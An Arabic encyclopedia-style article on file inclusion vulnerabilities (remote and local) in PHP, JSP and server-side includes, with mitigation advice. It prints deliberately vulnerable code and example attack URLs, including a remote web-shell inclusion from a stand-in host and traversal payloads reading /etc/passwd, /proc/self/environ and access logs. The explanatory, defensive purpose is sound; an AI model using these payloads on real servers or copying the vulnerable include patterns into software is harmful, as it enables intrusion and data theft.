ثغرة أمنية في تضمين الملفات
ثغرة تضمين الملفات هي نوع من ثغرات الويب التي تُصيب عادةً تطبيقات الويب التي تعتمد على بيئة تشغيل برمجية . تحدث هذه المشكلة عندما يُنشئ التطبيق مسارًا إلى كود قابل للتنفيذ باستخدام متغير يتحكم فيه المهاجم، مما يسمح له بالتحكم في الملف الذي يتم تنفيذه أثناء التشغيل. تختلف ثغرة تضمين الملفات عن هجوم اختراق الدليل ، حيث أن اختراق الدليل هو وسيلة للوصول غير المصرح به إلى نظام الملفات ، بينما تُعطّل ثغرة تضمين الملفات طريقة تحميل التطبيق للكود للتنفيذ. يؤدي استغلال ثغرة تضمين الملفات بنجاح إلى تنفيذ كود عن بُعد على خادم الويب الذي يُشغّل تطبيق الويب المُتأثر. يمكن للمهاجم استخدام تنفيذ الكود عن بُعد لإنشاء غلاف ويب على خادم الويب، والذي يُمكن استخدامه لتشويه موقع الويب .
أنواع الإدماج
تضمين الملفات عن بعد
يحدث تضمين الملفات عن بُعد ( RFI ) عندما يقوم تطبيق الويب بتنزيل ملف عن بُعد وتشغيله. عادةً ما يتم الحصول على هذه الملفات عن بُعد على شكل عنوان URI لبروتوكول HTTP أو FTP كمعامل يُدخله المستخدم إلى تطبيق الويب.
تضمين الملف المحلي
تُشبه ثغرة تضمين الملفات المحلية ( LFI ) ثغرة تضمين الملفات البعيدة، إلا أنها تسمح بتضمين الملفات المحلية فقط، أي الملفات الموجودة على الخادم الحالي، بدلاً من الملفات البعيدة. مع ذلك، قد تؤدي هذه الثغرة إلى تنفيذ تعليمات برمجية عن بُعد من خلال تضمين ملف يحتوي على بيانات يتحكم بها المهاجم، مثل سجلات الوصول إلى خادم الويب.
لغات البرمجة
تحدث ثغرة تضمين الملفات بشكل أساسي في لغات البرمجة التي تعتمد على التضمين الديناميكي للملفات، مثل PHP وJavaScript. تُفسَّر هذه اللغات ، ولا تُجمَّع. أما اللغات التي تستخدم تضمين الملفات لتضمين المكتبات، مثل C و C++ ، فلا تُعاني بالضرورة من نفس نوع الثغرة، نظرًا لمعالجتها مسبقًا بدلًا من المعالجة الديناميكية. ومع ذلك، فهي لا تزال عُرضةً لثغرات اجتياز المسارات fopen()وتجاوز سعة المخزن المؤقت .
PHP
في لغة PHP، يعود السبب الرئيسي لهذه الثغرة إلى استخدام مدخلات مستخدم غير مُدققة مع دالة نظام الملفات التي تتضمن ملفًا للتنفيذ. ومن أبرز الأمثلة على ذلك عبارات ` includeand` require. يُعزى معظم هذه الثغرات إلى عدم إلمام المبرمجين المبتدئين بجميع إمكانيات لغة PHP. تحتوي لغة PHP على توجيه يسمح، عند تفعيله، لدوال نظام الملفات باستخدام عنوان URL لاسترداد البيانات من مواقع بعيدة. [ 1 ] هذا التوجيه موجود allow_url_fopenفي إصدارات PHP الأقدم من 4.3.4، allow_url_includeومنذ الإصدار 5.2.0. في PHP 5.x، يكون هذا التوجيه مُعطلاً افتراضيًا، بينما كان مُفعلاً افتراضيًا في الإصدارات السابقة. [ 2 ] لاستغلال هذه الثغرة، يقوم المهاجم بتغيير متغير مُمرر إلى إحدى هذه الدوال ليحتوي على شيفرة خبيثة من مصدر بعيد. وللحد من هذه الثغرة، يجب التحقق من صحة جميع مدخلات المستخدم قبل استخدامها. [ 3 ] [ 4 ]
مثال
لنفترض أن لدينا هذا النص البرمجي بلغة PHP والذي يتضمن ملفًا محددًا حسب الطلب:
<?php if ( isset ( $_GET [ 'language' ])) { include ( $_GET [ 'language' ] . '.php' ); } ?>< form method = "get" > < select name = "language" > < option value = "english" > الإنجليزية </ option > < option value = "french" > الفرنسية </ option > ... </ select > < input type = "submit" > </ form >كان المطور ينوي قراءة ملف english.phpأو french.php، مما سيؤدي إلى تغيير سلوك التطبيق لعرض اللغة التي يختارها المستخدم. ولكن من الممكن إدخال مسار آخر باستخدام المعامل language.
/vulnerable.php?language=http://evil.example.com/webshell.txt?- يقوم بحقن ملف مستضاف عن بعد يحتوي على رمز خبيث (ملف مضمن عن بعد)/vulnerable.php?language=C:\\ftp\\upload\\exploit- يقوم بتنفيذ التعليمات البرمجية من ملف تم تحميله مسبقًاexploit.php(ثغرة تضمين الملفات المحلية)/vulnerable.php?language=C:\\notes.txt%00- مثال على استخدام حرف التعريف NULL لإزالة اللاحقة، مما يسمح بالوصول إلى ملفات أخرى غير . تم إصلاح هذا الاستخدام لحقن البايت الفارغ في PHP 5.3، ولم يعد من الممكن استخدامه في هجمات LFI/RFI. [ 5 ].php.php/vulnerable.php?language=../../../../../etc/passwd%00- يسمح للمهاجم بقراءة محتويات الملف/etc/passwdعلى نظام يشبه نظام يونكس من خلال هجوم اختراق الدليل ./vulnerable.php?language=../../../../../proc/self/environ%00يُمكّن هذا الهجوم المهاجم من قراءة محتويات الملف/proc/self/environعلى نظام شبيه بنظام يونكس من خلال هجوم اختراق الدليل . يستطيع المهاجم تعديل رأس HTTP (مثلUser-Agent) في هذا الهجوم ليصبح كود PHP لاستغلال تنفيذ التعليمات البرمجية عن بُعد .
الحل الأمثل في هذه الحالة هو استخدام قائمة بيضاء بمعاملات اللغة المقبولة. إذا تعذر استخدام طريقة قوية للتحقق من صحة المدخلات، مثل القائمة البيضاء، فيمكن الاعتماد على تصفية المدخلات أو التحقق من صحة المسار المُمرر للتأكد من خلوه من الأحرف والأنماط غير المقصودة. مع ذلك، قد يتطلب هذا توقع جميع تركيبات الأحرف الإشكالية المحتملة. أما الحل الأكثر أمانًا فهو استخدام عبارة Switch/Case مُعرّفة مسبقًا لتحديد الملف المراد تضمينه، بدلًا من استخدام عنوان URL أو مُعامل نموذج لإنشاء المسار ديناميكيًا.
صفحات خادم جاكرتا (JSP)
صفحات خادم جاكرتا (JSP؛ المعروفة سابقًا باسم صفحات خادم جافا) هي لغة برمجة نصية مشابهة لـ PHP ولكنها تعمل على جافا والتي يمكن أن تتضمن ملفات للتنفيذ في وقت التشغيل.
مثال
البرنامج النصي التالي عرضة لثغرة أمنية تتعلق بتضمين الملفات:
<% String p = request.getParameter ( "p" ); @include file = " < %=" includes / " + p +" . jsp " % > " %> /vulnerable.jsp?p=../../../../var/log/access.log%00- على عكس PHP، لا تزال JSP تتأثر بحقن البايت الفارغ، وسيقوم هذا المعامل بتنفيذ أوامر JSP الموجودة في سجل الوصول الخاص بخادم الويب.
تضمينات جانب الخادم (SSI)
يُعد تضمين جانب الخادم أمرًا نادرًا جدًا، ولا يتم تفعيله عادةً على خادم الويب الافتراضي. ويمكن استخدام تضمين جانب الخادم للوصول إلى تنفيذ التعليمات البرمجية عن بُعد على خادم ويب مُعرّض للاختراق. [ 6 ]
مثال
الكود التالي عرضة لثغرة أمنية تتعلق بتضمين الملفات عن بُعد:
< !DOCTYPE html> <html> <head> <title> ملف تجريبي < / title > </head> <body> < ! -- # include file = " USER_LANGUAGE " -- > </body> </html>الكود أعلاه ليس ثغرة أمنية من نوع XSS ، بل هو بالأحرى يتضمن ملفًا جديدًا ليتم تنفيذه بواسطة الخادم.
انظر أيضاً
- هجوم (حوسبة)
- حقن التعليمات البرمجية
- مشروع Metasploit ، أداة مفتوحة المصدر لاختبار الاختراق تتضمن اختبارات لـ RFI
- حقن SQL
- تهديد (حاسوبي)
- w3af ، ماسح أمان تطبيقات الويب مفتوح المصدر
- ثغرة أمنية في بيانات الاعتماد الافتراضية
مراجع
- ↑ "استخدام الملفات البعيدة" . PHP . تم الاطلاع عليه في 3 مارس 2013 .
- ↑ "قائمة توجيهات php.ini" . PHP . تم الاطلاع عليه بتاريخ 21 أكتوبر 2016 .
- ↑ "تضمين الملفات عن بُعد" . اتحاد أمن تطبيقات الويب . تم الاطلاع عليه في 3 مارس 2013 .
- ↑ "CWE-98: تحكم غير سليم في اسم الملف لعبارة Include/Require في برنامج PHP ('PHP Remote File Inclusion')" . تعداد نقاط الضعف الشائعة (CWE) . Mitre . تم الاطلاع عليه في 3 مارس 2013 .
- ↑ "PHP :: Request #39863 :: file_exists() تقوم بحذف جزء من الملف بصمت بعد بايت فارغ" . bugs.php.net . تم الاطلاع عليه بتاريخ 21-10-2016 .
- ↑ "دليل أباتشي httpd: مقدمة إلى تضمينات جانب الخادم - خادم أباتشي HTTP الإصدار 2.4" . httpd.apache.org . تم الاطلاع عليه بتاريخ 21-10-2016 .
روابط خارجية
- تضمين الملفات عن بُعد في اتحاد أمان تطبيقات الويب
- تضمين الملف المحلي
- مساعدة ووردبريس في إزالة تضمين الملفات المحلية من خلال موقع WP Hacked Help
- استغلالات الحقن
- ثغرات أمنية في الويب
